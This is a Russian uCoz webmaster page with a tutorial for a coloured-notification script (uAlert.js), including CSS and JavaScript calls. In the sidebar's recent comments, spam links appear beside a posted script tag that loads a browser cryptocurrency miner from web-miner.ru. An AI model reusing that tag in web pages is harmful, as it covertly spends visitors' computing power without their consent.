Среда, 21.02.2018, 10:06
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Статьи про uCoz
Наш опрос
Каким EMAIL Вы пользуетесь?


Всего ответов: 289

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 4
Гостей: 4
Пользователей: 0


Зарегистрировано 30527 (сегодня + 0 новых, вчера + 3 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория CSS стили для uCoz » Добавлено [24.12.2013, 16:00]

Цветные уведомления для uCoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Могли ли вы еще вчера, или сегодня утром, представить себе, что уже сейчас на вашем сайте могут появиться новые стильные и модные варианты уведомлений? Да не просто варианты, а в шести различных цветах? Я вот до сих пор в такое счастье с трудом верю, потому что раньше мои уведомления были скучными, ну или такими как мы их тут сами придумали.

Вообще скучными. А с новым скриптом от Ucoz мои уведомления стали просто идеальными. Цвета - приятные. Голубые, зеленые, кирпично-красные, темные и светлые. Автор постарался, а мы ему за это палец вверх ставим. Нам тоже ставьте за то что мы нашли эту штуку и представляем ее вам. Но, не мало важно, что в CSS вы можете даже задать свои цвета для уведомлений. Они могут исчезать. Задать время исчезновения так же можно, но не ранее 3 секунд. Логично, ранее просто невозможно прочитать и осмыслить. Можно сделать и так, чтобы уведомление вовсе не исчезала. Это даст возможность пользователю насладиться вашим индивидуальным выбором цвета и каким-нибудь ценным сообщением, которое не исчезнет никогда-никогда-никогда. Посмотрите варианты, которые предлагает нам Ucoz, поставьте на свой сайт, а нам пишите, если очень понравилось, или если не работает так как должно. Мы тут все исправим.

Установка

0. Загрузите файл uAlert.js в корневой каталог через Файловый менеджер.

1. Вставьте следующий код в нижнюю часть сайта.

<script type="text/javascript" src="ualert.js"></script>

2. В таблицу стилей (CSS) вставьте это:

#ualert_cont {position:fixed;bottom:17px;right:17px;width:290px;}  
  .ualert {cursor:pointer;opacity:0;color:#fff;margin:10px 0;border-radius:5px;font:11px Verdana,sans-serif;padding:15px}  
  .ualert.red {background:#cd4040;}  
  .ualert.green {background:#9dcd40;}  
  .ualert.blue {background:#409dcd;}  
  .ualert.violet {background:#9d40cd;}  
  .ualert.yellow {background:#cd9d40;}  
  .ualert.black {background:#262626;}

Готово. Теперь перейдем к самому главному - показам уведомлений.

Вызов уведомления



uAlert.open('ID уведомления','Цвет','Само уведомление (HTML)',таймер_выключения,{скрипт_для_окошка});

Варианты цвета: red, green, blue, violet, yellow, black. В CSS можно самому задать свои цвета.

Таймер устанавливается в миллисекундах. Например если хотите, что сообщение исчезло через 3 секунды, то ставьте значение 3000 без кавычек. Хотите чтобы уведомление не исчезало вообще? Ставьте 0.

Скрипт для окошка можно не использовать, смотрите примеры ниже.

Закрытие уведомления

Здесь все просто:

uAlert.remove('ID уведомления');

Настройка окошка

Всегда можно изменить уже существующее уведомления с помощью следующего кода:

uAlert.set('ID уведомления',{color:'цвет', html: 'Само уведомления' ...});

Пример уведомления

Ну, а теперь самая важная часть - пример.

uAlert.open('id1234','green','Успешно выполнено!',0,{onclick:'alert("Вы нажали на это окошко");'});  
uAlert.set('id1234',{color:'red',html:'Ошибка системы. Попробуйте позднее.',hide:3000});  
uAlert.remove('id1234');


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Цветные уведомления для uCoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: CSS стили для uCoz | Добавил: scripts_for_ucoz | Теги: uCoz, цветные, уведомления
Просмотров: 5100 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz